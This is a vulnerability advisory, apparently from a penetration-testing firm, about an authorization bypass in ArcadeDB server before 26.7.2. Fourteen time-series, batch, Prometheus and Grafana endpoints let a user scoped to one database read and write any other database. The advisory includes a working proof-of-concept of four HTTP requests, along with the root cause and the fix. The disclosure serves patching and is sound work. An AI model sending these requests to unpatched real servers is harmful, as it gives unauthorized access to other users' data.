highJul 16, 2026

ArcadeDB: Cross-Database IDOR on Time-Series, Batch, Prometheus, and Grafana Endpoints

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A logged-in ArcadeDB user granted access to one database can fully read and write any other database on the same server by targeting 14 HTTP endpoints that skip the authorization check entirely.

Packagecom.arcadedb:arcadedb-server
Ecosystemmaven
Affected< 26.7.2
Fixed in26.7.2

The problem

ArcadeDB's HTTP server uses DatabaseAbstractHandler as the single choke point for per-database authorization. Fourteen handlers in the /ts/*, /batch/*, Prometheus, and Grafana families extended AbstractServerHttpHandler directly instead, so they resolved the {database} path parameter and called getDatabase() without ever calling user.canAccessToDatabase().

The engine-level fallback also offered no protection: LocalDatabase.checkPermissionsOnDatabase() early-returns immediately when getCurrentUser() is null, so even that safety net was void. The result is that any authenticated user, regardless of which database they are scoped to, gets full read and write access to every other database on the server.

Proof of concept

A working proof-of-concept for this issue in com.arcadedb:arcadedb-server, with the exact payload below.

http
# User is authenticated and authorized ONLY for database 'a'.
# All four requests below target database 'b' and return HTTP 200 (should be 403).

# Write a batch of records into an unauthorized database
POST /api/v1/batch/b
Authorization: Basic <user-a-credentials>
Content-Type: application/json

{"operations":[{"type":"create","typeName":"SomeType","record":{"key":"value"}}]}

# Write a time-series event into an unauthorized database
POST /api/v1/ts/b/write
Authorization: Basic <user-a-credentials>
Content-Type: application/json

{"payload":[{"timestamp":1700000000,"value":42}]}

# Query time-series data from an unauthorized database
POST /api/v1/ts/b/query
Authorization: Basic <user-a-credentials>
Content-Type: application/json

{"query":"SELECT FROM SomeType"}

# PromQL instant query against an unauthorized database (GET, no body needed)
GET /api/v1/ts/b/prom/api/v1/query?query=up
Authorization: Basic <user-a-credentials>

# Contrast: the command endpoint correctly returns 403
# POST /api/v1/command/b -> HTTP 403

Every vulnerable handler called server.getDatabase(databaseName) and operated on the result without first invoking user.canAccessToDatabase(databaseName). DatabaseAbstractHandler.execute() (lines 69, 88-90) is the only place that gate exists, and these handlers bypassed it entirely by not inheriting from it.

The secondary safeguard, LocalDatabase.checkPermissionsOnDatabase(), was also ineffective because it performs an early return when the security principal is null rather than throwing, meaning the absence of a security context was silently treated as authorization granted.

The patch re-parents all 14 handlers under DatabaseAbstractHandler (or adds an equivalent resolveAuthorizedDatabase() call) so the canAccessToDatabase check and engine principal assignment run before any payload processing, and the batch handler now checks authorization before forwarding to the HA leader.

The fix

Upgrade to arcadedb-server 26.7.2. All 14 affected handlers now enforce database-level authorization and return HTTP 403 before processing any request body. The batch handler additionally checks authorization before any leader-forwarding in a clustered deployment.

There is no configuration workaround for earlier versions; the only mitigation is to isolate the ArcadeDB HTTP port from untrusted network segments until the upgrade is applied.

Reporter not attributed.

References: [1][2][3]

Related research